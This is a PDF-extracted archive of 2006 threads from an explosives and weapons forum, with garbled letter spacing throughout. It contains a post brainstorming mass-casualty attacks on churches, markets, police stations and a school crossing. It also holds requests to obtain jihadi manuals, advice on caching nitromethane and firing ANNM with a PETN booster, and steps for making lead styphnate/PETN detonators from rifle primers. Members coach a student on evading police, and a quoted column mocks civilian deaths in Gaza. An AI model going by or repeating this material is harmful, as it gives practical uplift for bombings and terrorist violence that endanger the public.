This is a trueism . However, one m a n c a n , t o d a y , d o f a r m o r e t h a n e v e n a C r u s a d e r a r m y from t h e m i d d l e a g e s . O n e m an in a

tank can, unopposed by other tanks, wipe out a small village to the last building without fear for his life.
O n e m an with a can of gas an d a power screwdriver can kill a church full of people without even m uch risk o f getting caught.
Two or three men even with ju st pistols could, in a place as disarmed as the UK, kill as m a n y p e o p le as they had bullets, and
with body armour they would have almost nothing to fear from the locals or even the first response (even arm ed) police (2 of
in an ARV) until a few dozen had arrived to gang up and swoop in, due to the pathetic tactic of "wait until everything h a s b e e n
quie t for a few hours before going in". This 'tactic' would ensure everyone shot wo uld have long sin ce either bled out or partly
recovered, as well as leaving plenty of escape tim e... (Use a few fused firecrackers to keep the police out.)
A more educated terr. could create nasty things and use those to really make a m ess. Might kill him self in the process, but if it
was a m utagenic or som ething that caused a fairly slow death to hundreds (over a few weeks) I'm sure that the price m ight be
right for som e.
T h e l e s s e d u cated could still strap som e e x p l o s i v e s t o h i m self and find a nice crowded m arket or (preferably) police station to
end it all.
Even just doing what the local muslim wom en d o here, and drive really badly with a headscarf on, would let you get lots of
random targets without risk of m uch tim e inside, especially in a stolen car as a veiled wom an driving, whilst really being a man.
Steal something solid, and run down a school crossing patrol, and simply change towns even day!
A ve ry technically advanced student could design and build som e lethal weapons, both projectile and im p a c t , a n d p u t t h e m o n
a bulldozer or digger, and rem otely ha ve fun, at very little risk o f im mediate capture. Several more would defend him "to the
d e a t h " a n d t h e a d d i t i o n o f s o m ething like a telesniper and some carefully placed charges would m ean the calvary would be
screwed, too. And when they finally get to the base? It's em pty but for a wireless com p u t e r s y s t e m a n d a c a b l e m o d e m . . .
S o y e s , o n e m an is lim ited, but the lim its are daily increasing.
mrtnira Novem ber 4th, 2006, 11:38 AM

I appreciated the link to the Jam estown Foundation. I went to th e f o u n d a t i o n a n d a n d h a v e b o o k m arked it for regular study-
reading. And, I thank the m e m bers for their opinons.
That link is a good re ad about the author of the recent jihadi doctrinal documents, and within the body of the article are web
a d d r e s s e s t o jihadist websites where jihadi m a n u a l s h a v e b e e n p o s t e d .
I went to the websites, but found m yself at a dead end in how to get to the documents. It's not op aque if you know the ins
and outs of internet shareware and services, but outside of sim ple uploading to tinypic.com , my savy stops there. I honestly
g e t c o n f u s e d a n d a n n o y e d , a n d i t o f t e n e n d s u p in walking away from my com puter after hours of lost tim e.
M a y I a s k a n i n t e r e s t e d m ember to recover the relevant docum ents when they have the tim e and interest?
T h e d i f f e r e n t j i h a d i d o c u m e n t s m a y p r o v e v a l u a b l e i f a v a i l a b l e t o m e m b e r s , n o t a s e n c o u r a g e m e n t to do these things, but as

stud y documents. History is happening today, and applying our m inds to current events m atures the individual in his or her
abilities to understand the world as it is.
A l s o , t h e r e a r e m e m bers who may actually be interested in the study of m odern unconventional warfare, which is wh at we are
largely dealing with here. The elem ents of infiltration, organizational dire ction, safe haven , supply, comm unications, agent
operations (and more), are all very present in this movem ent. As a study of an aspect of m ilitary history and military science it
is a valid pursuit and valid topic of discussion.
So, if you have the tim e and tech. savvy, please help out. (!) Not everyone swim s that well in the ocean of technology.
nbk2000 Novem ber 4th, 2006, 09:38 PM

The site http://www.althabeton.co.nr/ is 404'd.
I f a n y o n e h a s any jihadi websites that have any kind of plans or videos or whatever of interest to the E&W nature of the
Foru m , t h e n p o s t ' e m and I'll rip whatever I can, since I've got broadband.
thermobaric Novem ber 5th, 2006, 12:02 AM

http://siteinstitute.org/index.html
Doesn't really have specific plans or videos unless you're a subscriber,but som e references to jihadi sites are available.
mrtnira Novem ber 7th, 2006, 05:07 PM

I actually got into http://althabeton.byethost6.com /, an d successfully got it translated with an on-line translator. Unfortunately,
the docum ent was pulled. Every tim e I clicked on the docum ent line, it re ferred to a w e b m a s t e r ' s p a g e .
R e a d i n g t h e o t h e r j i h a d i t h i n k p i e c e s b o t h d i s a p p o i n t e d a n d d i s t u r b e d m e . T h e a b s e n c e o f love and care toward others, by

seeing others as targets, was disturbin g.
I know it sou nds naive, but that was m ost disturbing. I've read a lot about all kinds of military ope rations, but this wasn't that
kind of writing. It was an advo cacy of violence that I don't encounter often, and can only call disturbing and chilling.
thermobaric Novem ber 13th, 2006, 07:04 PM

http://www.reachoutpub.com / o s h /
T h i s s i t e h a s s o m e a l r i g h t i n f o o n s a b o t a g e o f i n d u s t r i a l e q u i p m ent,but its pretty amateur.
Bugger Novem ber 13th, 2006, 07:51 PM

http://althab eton.co.nr was allegedly suspende d for violating their ISP's term s of service!
Hirudinea Novem ber 13th, 2006, 10:16 PM

http://althab eton.co.nr was allegedly suspende d for violating their ISP's term s of service!
T h e s e J i h a d i w e b s i t e s g o u p a nd down all the time, why don't you try these sites that mon itor them .
http://www.jihadwatch.com
http://m e m ri.org

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > A little insight into the ame rican
education system
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Syke October 25th , 2006, 02:36 AM

Ok not that anyone cares but I am suspended for 2 weeks from my high school for supposed terroristic threats (completely
false). The first problem is that if I was going to do som ething im not du m b e n o u g h t o t i p a n y o n e o f f t o i t , a n d t h e s e c o n d i s
that the threats were explaining to some fucking k3wl sophom o r e h e w a s a d u m b ass for mouthing off his obvious a narchist
c o o k b o o k t y p e t h e o r e s i n c h e m class and m e t a l k i n g t o o m uch about the recent buttsexin g of am ish schoo lgirls and other
school violen ce thats been happeneng recently. Also If I was such a fucking threa t the sch ool would be a crater right now since
t h e y g a v e m e 2 w e e k s to work on this supposed plot they cooke d up. Finally they are sending m e for a psychiatric evaluation.
Isnt a sane threat m uch m ore t h a n a n i n s a n e o n e ?

From what you said I cant make out if the suspension was reasonable, what did you specifically say, it could be from anything
like "I can m ake better explosives then you, your book is shit, it could do nothing, m ine could take down a building " or "I'm
goin g to fucking bomb this school, your all going to die, imm atu re bastards", give us a little more insight into what actually got
you suspended for.
But being a student myself and looking at the over reactive view on terro rism , the ignoran t (in lots of cases) teachers and
principles, being stupider then m any of the students and lacking com m o n s e n s e a n d r e a s o n i n g w o u l d m a k e i t s o m ething
likely.

The idiot said he could m a k e a b o m b out of food dye and I told him the only way he could do that is if he reacted it with
s o d i u m or another su bstance that reacts violently with water since its really the only thing in food d ye.

"supposed terroristic threats" Indeed. There m u s t b e s o m e w h e r e y o u c a n c o m plain to such as a governm ent organization,
f o r t h e g o o d o f y o u r c o u n t r y l e t y o u r v o i c e b e h e a r d t o s e t a n e x a m p l e t o o t h e r s c h o o l t h a t this isn t right. Bette r y e t g o t o
o n e o f t h o s e currant affair programs which shove their god dam n cam e r a s i n e v e r y o n e s go d d a m n f a c e s . (Sorry I ju s t hate
t h e m u n l e s s t h e y c a n b e u s e d f o r s o m ething other than em barrassing people who are already in court)
There are m a n y m o r e p l a c e s y o u c a n g o f r o m h e r e , d o n ' t t a k e t h a t p u n i s h m e n t , t h i n g s n e e d t o c h a n g e .

well im going to piss away the schools money and visit the headshrinker that theyre paying for and then probaby use the info
that he gives m e to sue the bastards.:D after all its the am erican way

Might be a suggestion to clear your com puter cache and the traces of this site, just in case som e o n e c o m es looking. Otherwise
you'll find it a lot harder to explain things away.
E n o u g h y o u r h o l i d a y , a n d s k i p t h e e x p losive hobby parts until you are sure the cops aren't going to turn yo ur house over. They
will do it, and odds are your m om/flatmate would let them without you even knowing until it was too late - which the m o m e n t
that they have perm ission is too late! - if there is even the sugg e s t i o n y o u a r e k n o w l e d g a b l e a b o u t b o m b s , e v e n i f y o u a r e
only smart enough to explain the high school chem istry of sodiu m g o i n g p o p .
If you can get your hands on a fairly old school chemistry book, it will have the said experim ent in it. If the shrink is older
(30+), you could also complain about the neutering of high school science, and ask him q uestions about what level of blowing
things up he did when younge r. He will alm o s t d e f i n a t e l y h a v e s e e n t h e s o d i u m g o i n g b a n g t h i n g m a n y y e a r s a g o .
B e y o n d t h a t , a d m it nothing, n o t e v e n i d e a s o r f a n t a s i e s .
nbk2000 October 25th , 2006, 09:52 AM

W e d o n ' t n e e d e m o b r a t s w h o can't ke ep their m ouths shut about their 'hobby' drawing attention to them s e l v e s a n d , b y
extension, us. :rolleyes:
W e e s p e c i a l l y d o n ' t n e e d e m o brats coming here to vent their spleen about how unfairly they've been treated at school for
bein g 3||+ with the bom b skillz.
And, as far a s insight into the Amercian educational system , we couldn't ask for a better e x a m p l e t h a n s k y e .
Total lack of any attem pt at proper sentence construction, chain of thoug ht, gram matical structure, etc. :p
He is the future, and it is illiterate.
kupyoc October 30th , 2 0 0 6 , 0 8 : 2 4 P M

O n e m ore reason I am glad to be hom eschooled.
I tre mble at the thought that in a few years, my generation will start to m ove into position s of power. It seems that in todays
society and mindset, it is best not to m ention such things.
Gerbil Novem ber 1st, 2006, 01:22 PM

Finally they are sending m e for a psychiatric evaluation.
I was sent fo r a psychiatric evaluation at school :p . Surprisingly, the report was com plete bullshit :rolleyes: .
Personally I'd try and get out of it, because the shrink will write what they want to hear, an d they will use it against you.
Although, to be fair, I did have a bit of a reputation...
Ropik Novem ber 1st, 2006, 02:55 PM

W h e n I r e a d t h i n g s l i k e t h a t , I a m g l a d I h a d a c h e m istry teacher that taught me to m ake fireworks and was fam ous for
m anufacturing (and setting off) NI3 and Armstrong m ix during classes - just like a little fu n n y d e m onstration...
megalomania Novem b e r 2 n d , 2 0 0 6 , 0 3 : 5 9 P M
Hm m , a n d t o t h i n k I w a s v o t e d " m o s t d a n g e r o u s " i n m y class, which was an unfair assessm e n t b y m y p e e r s : ( W e h a d
fireworks, improvised explosives, and one of m y friends even built a flam ethrower. All of our proclivities were com m o n
knowledge, but the early 90s was a different era I guess. O f cou rse we never com mitted vandalism , hurt ourselves, or anyone
else, which is an entirely different characterization of som e o f t o d a y s s k r o o l k i d s .
Y o u s e e , y o u a r e f a r m ore likely to act irrespon sibly and dangerously when your activities are pushed underground. Chemica l
e x p e r i m entation with explosives, drugs, and ce rtainly ordinary laboratory experim entation can flourish under adult
supervision. School adm inistrators, parents, and fedgov stooges can encourage the very behavior they wish to elim inate by
m aking it taboo and forbidden.
jethro1104 Novem ber 3rd, 2006, 01:07 PM

W ell at least learn on e lesson from this and that is when not to show off your knowledge or experience in p ublic spaces. The re
is a time and place for everything and american public schools a re definetly not p laces where creativity and freedom of
e x p r e s s i o n a re not as tolerated. As you get old er (wiser) this will save you alot of trouble if you learn to go about your
b u s i n e s s a n d m aintain a low profile. The consequences as you get older are alot m ore severe.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Burying nitromethane
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Red Beret October 26th , 2006, 01:38 AM

Recently I have com e across 1L nitrom ethane bottles that are fairly cheap. If one was to bury these, would wrapping the necks
of these bottles tightly in duct tape and putting them in plastic bags (not airtight) be enough to protect them from m oisture
when buried?
Also, realistically, if the NM took in som e moisture, would it render it useless for things like ANNM and PNNM? Could the water
b e e x t r a c t e d u s i n g M a g n e s i u m sulfate?
I s u p p o s e o n e c o u l d d o a p r o p e r c a c h i n g j o b a n d p u t t h e m in PVC pipes, the only reason i m entioned this m ethod is that it is

quick, simple, cheap, and results in sm aller caches.
Any thoughts, comm ents etc.

Duct tape is not really suitable for an airtight barrier for long term storage. I would suggest parafilm , but I doubt m a n y p e o p l e
h a v e t o n s o f t h a t l a y i n g a r o u n d l i k e I d o . Y o u m ay want to try coating the entire cap seal with melted wax, and wrapping the
bottle in a tightly sealed bag. If you can, one of those vacuum sealers with the wire heater that m elts the plastic shut m i g h t b e
a g o o d i d e a . Y o u c a n e v e n g e t bag resealers rather che ap in a handheld unit for a few dollars.
If you are worried about long term storage you may wish to search for how they do it in the racing and rocket industry. I dont
think nitrom ethane form s e x p losive peroxides on long term e x p osure to air, but dont tak e m y word for it. You could distill the
nitromethane if you were crazy enough to attempt the process. From w h a t I h a v e r e a d , a s l o n g a s y o u k e e p a c i d s , b a s e s , a n d
m etal ions away from nitromethane, it should be fine.
Y o u b i g g e s t p r o b l e m will be slow evaporation and leeching of the nitrom ethane through th e plastic container. You can slow this
process down, but not entirely eliminate it. Glass bottles would b e better. The only sure way to store it indefinitely would be to
encapsulate the nitrom e t h a n e in glass am p o u l e s m e l t s e a l e d .
random136 October 26th , 2 0 0 6 , 0 6 : 0 7 P M

On the subje ct of ampoules. I would like to know, would it be po ssible to purchase or im provise am poules of that size (1L
volum e ) , o r w o u l d o n e h a v e t o u s e d o z e n s o f s m a l l ( m aby 25m l ) a m p o u l e s ?
Additionally, would it be a sound idea to m elt shut an am poule containing nitrom ethane using a blowtourch (assum ing we are
both thinking about the all glass conta iners comm only used to store pharm aceuticals)?
shady mutha October 26th , 2 0 0 6 , 0 7 : 0 3 P M

I h a v e f o u n d NM to be quite storage stable. I stashed a couple litres in a petrol can wrapp ed in bin liners for 3 years or so with
no worrys. The NM was still clear and worked fin e. Thing that worried me was the hot days and cold nights but like I said no
worrys. Its finding these stash es after a few years that can be a real problem .
Red Beret October 27th , 2 0 0 6 , 1 0 : 5 3 P M

Ok, Thanks everyone .
T o s u m m arise; store the nitro m e t h a n e i n g l a s s v e s s e l s , s e a l e d a s b e s t c a n b e m anaged, in a cool place with no contaminants

out of the su n.
I have some nitromethane from three years ago, I have kept it in the screw top plastic bo ttle it cam e in. Over the years it has
gone a darker almost yellow colour. It was never too cle ar when i got it though. Does anyone else have NM that has gone
a m ber/yellowish? Does it still perform well?
Realistically, even if the NM had degenerated, and darkened I still think a 5-10g PETN cap/booster would set off ANNM. Correct
m e if I'm wrong, plea s e .
Essentially, the reason I bought this up, is that these days, som ething that is comm o n a n d O T C , may dissapear overnight.
Purchasing large quantities and chaching is a good way to deal with this. For me NM is easy to get now, hence I wish to stock
up while I can and fin d ways to use it down the track, whether it be good storage to prevent deteriation, using a bigger cap,
extracting moisture from the NM prior to use or whateve r.
Any com m e n ts and suggestion would be appreciated.

It would not be easy to am poule such a large volum e, nor would it be safe unless you do it like the professionals do. I forget
t h e s p e c i f i c s o f f l a m e s e a l i n g g l a s s a m poules with flam m able substances, but I k now it ca n be done. I think they supercool the
s o l v e n t s b e f o r e s e a l i n g a n d m ight use an inert atm o s p h e r e .
You could ge t very long glass tubes and seal them, or you could affix a series of sm aller glass tub e s t o a l a r g e d i a m eter tube,
fill it, and seal it up.
Cobalt.45 October 28th , 2 0 0 6 , 0 1 : 2 9 P M

Recently I have com e across 1L nitrom ethane bottles that are fairly cheap.
Care to share the source? I know several who would be glad to have som e nitro a t an affo rdable price.
Red Beret October 28th , 2 0 0 6 , 0 8 : 5 8 P M

Cobalt 45: Send me a PM.
I a m very reluctant to give out supplier locations these days, except to long term "genuine" m e m bers. I know of at least a
couple of suppliers, o ne supplying very hard to come by item s, that no longer sell to the public due to an innundation of em ail
enquiries shortly after som e o n e p o s t e d t h e s u p p l i e r s d e t a i l s h e r e .
As we all know, there are alot of people around who aren't really dedicated to E&W and will waste and abuse these resources.
I would encourage you to keep the "hard to find" type of suppliers to yourself. If som eone really wants som e t h i n g e n o u g h a n d
are a true E&W mem ber, they will search till they find what they want. Wh ereas the "kewl" type peo ple will g enerally give up
before trying, thus lim iting the people that know of the suppliers to true entusiasts. This will keep suppliers around longer,
which will, of course be beneficial to de dicated m e m b e r s .
It m ay not be such a dire situation in the US and Europe but here in Oz, you have to be really carefull about such things.
Here in O z, the government has stated that certain chem icals require "special attention", by this they m ean liscencing or
banning. They are fucked in the head. Slightly off topic; 400kg of blastin g grade AN was stolen from a rail car, while it was
parked in a siding, allowing another train to pass, THE DRIVER W AS IN THE TRAIN!! I was very happy to hear this, as AN is
basically ban n e d h e r e u n l e s s y o u h a v e a p e r m it. Stick it to the governm ent!!
nbk2000 October 28th , 2 0 0 6 , 1 1 : 2 8 P M

Unfortunate that it's come to that, but that wha t has to happen when the governm ent is out of control. :(
The Hive was very m uch sim iliar in the No Sources policy, and for similiar reasons...idiots fucking it up for the seriou s
experim enter. :mad:
W hile we would ideally be able to share all our sources to anyone who wa nted to know, the sad rea lity is that doing so benefits
no one in the long run, because the incautious actions of foolish lamerz inevitably draws the attention of th e p i g g i e s , t h u s
closing off yet another source.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Meet the kings of KEW L...
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festergrump October 27th , 2006, 06:54 AM

...the Mall Ninjas.
Certainly these must be the guys that literally forced the term "Mall Ninja " to be coined on s o m a n y b o a r d s a l l o v e r t h e
internet.
Alwa ys rem e m ber the m diligently serving your comm unity, especially as we rapidly approach the Christmas shopping season .
W e m ay all (at one point or another) owe our very lives to these fearless crusaders.
http://lonelym a c h i n e s . o r g / m a ll-ninjas/
http://lonelym a c h i n e s . o r g / m a ll-ninjas/
I l a u g h e d u n til my sides hurt and tears welled up in my eyes... Hilarious!
mrtnira October 27th , 2006, 07:41 AM

Festergum p, thank you for that link. It prompted me to forward it to a few friends with this com mentary:
-------
Okay, it's only painful if you read it. It's done by an obvious professional whose bulletin board (or access to one) drew a bunch
of over-self-esteemed security guards or militia m en, all living o ut a Ram b o f a n t a s y .
And to think, yes, I was a night watchm an during m y da ys in college. Did I get the kind of ordnance these guys are playing
with? No! I had to fight to defend the freedom and safety of others with m y bare hands (!), and with m y superior verbal judo to
"talk down" a threatening situation, all while 5-O was responding Code Three (red lights and siren) to m y 10-20.
O n e o f t h e t h r e a d s t h i s g u y q u o t e s i s a h o o t . S o m e g u y h a s b o u g h t h i m self body armor to take ro unds while his ba ckup

assembles a weapon. I don't get that. Let's think this one through: I'm a bullet magnet, hoping to catch rounds all on the
s m a ll protective plate of the b ody armor, while counting on a partner who m ay just crap out under the stress?
I f y o u s e e m e in m y black nin ja jum p suit in the office, it's only because I've stopped m entally projecting to your mind the
im a g e o f a b usiness suit. It's so you can see the real m e.
------------
I hope you catch m y com ments were h umor, and not that I walk around deluding myself that mental projections are real.
O n e t i m e, I m et a Trekkie who kept trying to read my mind or influence it by staring at me, intensely, his head rocking back
and forth just a bit as if to physically m anifest the intensity of his mental focus....
This kind of thing happens wh en people stay too long in their own thoughts. People think too much of them selves, their
status, or their presum ed abilities.
I rem e m b e r s e e i n g a p h o t o o f a c o p , h e w a s d e a d . H i s b o d y w a s o n t h e g r o u n d a s i f h e h a d s l i p p e d , f a c e u p , a r m s o u t . H e
was a shooting instructor, but on the day of this one call he had forgotten to load his weapon, and it turned out that was the
day he needed it.
T h a t i m a g e i s r e l a t e d to the thread in a way. In his own m ind, the gun was loaded.
Cobalt.45 October 27th , 2006, 09:37 AM

Y e s I m not a Green Beret but guess what neither are you and unlike you I have to face unruly shoppers every day.
If you want to laugh at som ebody, try laughing at the sheep out there who go to the mall unarm ed trusting in m e t o s t a n d
guia rd over their lives like a God.
m indless tee n y b o p p e rs who go to the Hickory Farm s s t o r e , a n d t h e n t a k e d o u b l e s a m p l e s o f f r u i t c a k e a n d c h e e s e l o g , y o u w a r n

them that they will be charged with a felony(grand theft), and that if they attem pt to fight and run, they will be, unfortunately,
first tazered, and if they continue to re sist violently with intent to m aim , then wounded.
and thgus far they have m issed both time they shot the decoy before confiscation could be initiate d.
and our carbines will be supplied by Hi-Point, or handgu ns by Lorcin, our backup weapons by Jennings, and our SMGs and 7.62
battle rifles(SW 3s) by Special W eapons. We only deal with the best, and we feel that the caliber(pun for those of you not to
sheeplike to notice) of weapons we have chosen are at the very top of th eir class.
HUMGEE (g for golfcart)
(w)e were regularily rotated between 4 stations. A local Food City supermarket was designated Sector Alpha-Niner, the Jiffy
Lube was Bravo-Lima-Fiver, th e local $1 m ovie theater was Golf-16 and finally, the most coveted assignment, the local m all or
Zebra-1.
m e were regularily rotated between 4 stations. A local Food City superma rket was designated Sector Alpha-Niner, the Jiffy Lube
was Bravo-Lim a-Fiver, the local $1 m ovie theater was Golf-16 an d finally, the m o s t c o v e t e d a s s i g n m ent, the local m all or
Zebra-1.
a n d y e a r s i n a d a r k s e c r e t R u s s i a n p r i s o n c e n t e r h a d h o n e d m y natural night vision to that of a tom cat.
jum ped up with m y trusty K-Bar, and threw it into the perps arm, pinning him against the wall behind him.
My belief is that they were planning to hijack th e c o v e t e d M o r t a l C o m b a t g a m e u n i t .
Festergrump, this is a gem !
I h a d p l a n n e d to com m e n t o n the highlights I'd picked out, but there are far too m any.
But, my favorite has to be "BTW A one tim e e x p e r i e m entation while in th e m ilitary, does not m a k e o n e a h o m o s e x u a l . "
Truly classic.
T o m o d e r a t o r: Sorry that this went much too long, edit if necessary.
simply RED October 27th , 2006, 11:43 AM

" Y o u a l l w h o a r e m a k e i n g f u n o f " h i m "have ne ver been threatened by jailed drug dealers, serial k illers, an d shoplifters, or
fired at by high powered rifles" !!!
nbk2000 October 27th , 2 0 0 6 , 0 5 : 0 7 P M

. . . s o m e o n e s a i d t h a t m y T a c T e a m doesnt get training.
I the liutenant of a 3 man Rapid Tactical Force Team, in one of the natio ns large st indoor retail shopping centers.
W ow, a 'Tac Team '...for a m all...becau se of 'unruly shoppers'. :rolleyes:
But we'll be safe, because he is 'a Master of three m artial arts including ninjitsu, which means I can wear the special boots to
climb walls.'.
I feel safer already. :P
W TF is an 'electric transportation cart'? That wouldn't be a GOLF C ART, would it? :D
I had to stop reading it 'cause I was la ughing so hard I was getting a headache.
ShadowMyGeekSpace October 27th , 2 0 0 6 , 0 6 : 3 9 P M

W ow. Just, wow. Than k you ve ry much for this festergrum p , I n e e d e d a g o o d l a u g h .

O h m an, thats rich. Do you know what security is suppo sed to do in a violent situation? Call the real police, with the real guns.
The last thing you need is a security guard firin g less-than-letha l rounds into a crowd of holiday shoppers. And what kind of
d u m b shit trusts his life to a vest anyway? One guard with a concealed carry .45 that actually knew how to u se it would be m o r e
effective than some ram bo psudo-swat strike force seal team wannabes.
If th ose guards did hurt a bystander, they, and the m all, and their security com pany would all be sued. Guards alwa ys catch all
the shit in a situation like this, so its best to let the people die. You observe, report, and let the k ops do their job. It retail,
not Baghdad.

I dunno m an, they had RPG-7s! Sounds like Baghdad to me, rofl.
hst45 October 28th , 2006, 10:31 AM

W e all owe a debt of gratitude to those who keep the Hickory Farm s stan d safe from larcenous felons.
Y e a r s a g o I w o r k e d a s u m m er job as a m all rent-a-cop. There were two types of us there. Those like me, who just wanted a
fuck-off job for the summ er with no he avy lifting, and the specia l-forces legends in their own m inds. If you're too stupid to g et
on the police force, too weak for the m ilitary, can't clim b a l a d d e r as a firem an, fear not, the Mall awaits. Ah, the fulfilling life of
the m artial a rts m aster and firearm s expert!
Now if he can just save up enough m o n e y t o m o v e o u t o f h i s m oms basement and buy his own car.......
tmp October 28th , 2006, 11:08 AM

Tactical team s for m alls ? Does Al-Q u a e d a h a v e a w i n g d e v o t e d t o
shoplifting now ? I've NEVER seen arm ed security in the malls where
I live. During the Christm a s s h o p p i n g d a y s t h e y ' l l h a v e u n a r m e d
security team ed up with off-duty county cops. T hat's for the
opportunistic smack-and-grab thieves or those who break into the
c a r s o f s h o p p e r s d u m b enough to leave their purchases in plain view.
I loved this little gem t h o u g h :

The HK MP5SD we tesst fired was quiet, but kept jamm inng with Hydra-Shoks.
If he's describing a m achinegun then of course it won't cycle hollowpoints
relia b l y . M a c h i n e g u n s a r e d e s i g n e d f o r b a l l a m m o.

T h e M P 5 S D i s a n S M G , a n d f e e d s H y d r a s h o k J H P s ( J a c k eted hollow points) just fine, and it's the m ost com m only used round in
the MP5. The kid was talking out of his ass.

I've just finished reading it, and it was a wonde rful experiance. I bet a dollar that the guy who posted the "you are risking your
cover" post was from the same IP as the Mall Ninja. And that wind-up post was fantastic...
5 stars. :)
Chris The Great October 30th , 2 0 0 6 , 0 2 : 0 7 P M
Fortunately, wounding fire to suppress teenage kleptom aniacs is relatively easy, they all run in straight line s
H a d m e a l m ost rolling on the floor. W ounding fire for shoplifters! LOL
Thanks a ton for sharing that gem! :D
c.Tech Novem ber 8th, 2006, 07:51 AM

I f y o u a s k m e i t s e e m s l i k e s o m e special forces wannabe sm oked a little bit too m uch of the green stuff and went psychotic,
now his has t h e privilege of t h e d e l u s i o n b e i n g a m all ninja living his dream .
Good for him , one m ore psychotic lunatic trying to get their hands on heavy weapons. ;)
Thanks for that fester, it was hilarious. :)
nbk2000 D e c e m ber 2nd, 2006, 10:35 AM

A whole forum dedicated to the Mall Ninja:
http://forums.securityinfowatch.com/index.php?
sbovisjb1 Decem ber 2nd, 2006, 12:24 PM

W O W ! I stop p e d r e a d i n g a f t e r o n e p a r a g r a p h , b e c a u s e i h a d t o o v e r c o m e m y urge to sm ack m y self in the face repeatedly. At
first i thought it was a joke (i hope it is) then i thought they were 8-10 year old boys having a bit o f fun. I hope its one of
t h o s e , b e c a u se for full grown m en to b e doing such a thing is just pitiful.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Potassium perchlorate
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chris rauch October 28th , 2 0 0 6 , 0 1 : 1 1 P M

Hi.
I just got two 8oz bottles of Potassium Perc.

I a l s o h a v e t h e a l u m inum powder to m ake flash but I would like to know if there is anything else I can m ix perc with to cause
high or low explosive. I heard cane sugar would work.. is that true? Thanks.
nbk2000 October 28th , 2 0 0 6 , 0 8 : 4 0 P M

I don't know...why don't you try using the search engine, both here and Google, and find out yourself? :)
chris rauch October 28th , 2 0 0 6 , 1 0 : 1 5 P M

I have used google to see if cane sugar would work. It supposedly does work but I tried earlier with the trusty 7:3 ratio. All it
did was throw KC l O 4 o u t o f t h e f u s e h o l e .

Just to be clear, are you trying to detonate KC lO4 and sugar by putting it in a casing and combusting it? :)
chris rauch Novem ber 1st, 2006, 10:02 PM

Yes, that was what I did.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Your experience with lead
styphnate
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Red Beret October 29th , 2006, 04:51 AM

Just wondering if m a n y o f y o u h a v e u s e d l e a d s t y p h n a t e ?
If so, what is your opinion of it?
I a m plannin g to m a k e s o m e LS/PETN caps to store for up to a couple of m onths. I was thinking of using a n em pty .22 shell of
LS to fire a 2 g charge of PETN. The LS will be extracted from rifle prim ers.
The reason I want to try this is; LS stores whereas AP and HMTD dont, and I require caps that I can make and then use a bit
later. Plus I'm sick of AP, and want to try something new and a little m ore stable.
So, is it worth extracting from primers, and, how much would it take to reliably set off the PETN. The .22 shell will wo rk but I'm
wondering if less will do it? Also, did you have trouble lo ading the dry LS into cases? It looks "cast" in the prim ers.
T o m e , t h i s a p p e a r s t o b e a n e a s y a n d s a f e r w a y o f m a king storable cap s.
sparkchaser October 29th , 2 0 0 6 , 0 5 : 0 9 P M

I once knew a falla who was of the kewl type that was m aking a pull string, single shot shotgun round that was basically like
one of those party poppers you can get at a store. All he did to get the LS was lig h t l y s q u e e z e t h e b a s e o f . 2 2 s h e l l s t o o p e n
t h e m u p a b i t a n d t a p p e d i t o u t . H e t h e n s i m ply poured the product into the bottom of a film canister and lightly pa cked it
around the string that was exiting through a ho le in the center of the can nister's bottom . Stupid, yes, but also cheap and
effective. I personnally would not like to be anywhere nearby som eone who was d oing it!

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > War Nerd on DIME(The metal dust explosive)
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Isotoxin October 30th, 2006, 12:34 AM

From exile:
http://www.exile.ru/2006-October-20/dime_and_dimer.html
FRESNO, CA -- Here's a column all you hardware fiends will enjoy. Because although weapons tech isn't nearly as important in war these days as tribes and propaganda, every
now and then a new weapon comes along that tells you everything you need to know about the military culture of a whole era.
I'm talking about a weapon with the geeky initials "DIME." That stands for "Dense Inert Metal Explosive," but that doesn't tell you much so I'll explain it in English.
This is a weapon designed to splatter thousands of tiny tungsten pellets into everybody within a 4-meter radius, without hurting anybody who happens to be standing outside
that radius. In tests at the Air Force Research Laboratories, the freakish thing worked so well that it destroyed most of the instruments placed within its 4-meter destructo-zone.
They actually had to design new metrics that could withstand those high-temperature tungsten pellets.
At the same time, a big part of the design effort was developing a casing that WOULDN'T hurt people. They came up with a nice light carbon-composite casing that shreds into
harmless confetti. Probably recyclable too. Come to think of it, all artillery is biodegradable, or at least biodegrading. That's a marketing angle the DoD should be pushing with
the greenies: "Hydrogen bombs: the ultimate in biodegradability!"
Now see, the hydrogen bomb is a sane weapon. Genghis Khan would approve of it. He had to clear countries out the slow way, one slit throat at a time. The hydrogen bomb
does the job in a few seconds, and there's no nonsense about limiting the damage. The idea is to extend the damage as far as possible. That's basic military logic.
When you apply it to this DIME munitions, you have to ask why limit it to 4 meters? If Joe Schmo is your enemy, it stands to reason that anybody standing 4.5 meters from
him is also likely to be your enemy. Kind of like a version of that Arab saying: "The friend of my enemy is also my enemy," or "The innocent bystander of my enemy is also,
let's face it, my enemy."
To see why they've put so much effort into a weapon like this, you have to understand that it's being used in Gaza by the IDF. There've been reports out of Gaza that when
the Israelis blast one of these Hamas guys outside a coffee house or his home, there've been weird injuries to the people standing next to the target -- their arms and legs get
sheared off clean, as if God himself lowered a big rotary saw over him and lifted him up into the sky like a core sample from an oil rig, along with the odd arm or leg of other
people who happened to be inside the magic 4 meters. The wounds have supposedly stopped clean at that point, cauterized by the blast.
So what we've got here is a bizarre weapon designed to stop any more "picnic incidents." Remember when that family of Gaza Palestinians was frolicking on the beach -- Dad,
Mom and their 37 children? Well, somebody in Mossad had it in for Dad because the Israelis fired a shell from one of their offshore gunboats and Dad was shredded. Which was
fine, except these normal, sane artillery shells don't make distinctions, they just send their tiny metal fragments zipping as far as possible. Which is pretty far. The kill-radius on
a 155-mm shell is up to 150 meters. And those little superheated razorsharp fragments don't make exceptions, even for the kiddies.
So along with Dad, several of his frolicking kids got zapped. Naturally the neighbors were there in seconds, scrambling for a photo-op on the "beach." I mean, what kind of a
beach can you have in the Gaza Strip? Instead of sandcastles the kids have to play sandshrapnel -- "Look, daddy, I found a cute little burnt femur and a cool unexploded
bouncing betty--aaeiii!"
But I guess it's the best beach they got, so Dad was out there doing the arab-by-the-sea deal, which is to wear tons of clothes from head to foot and sweat and never go near
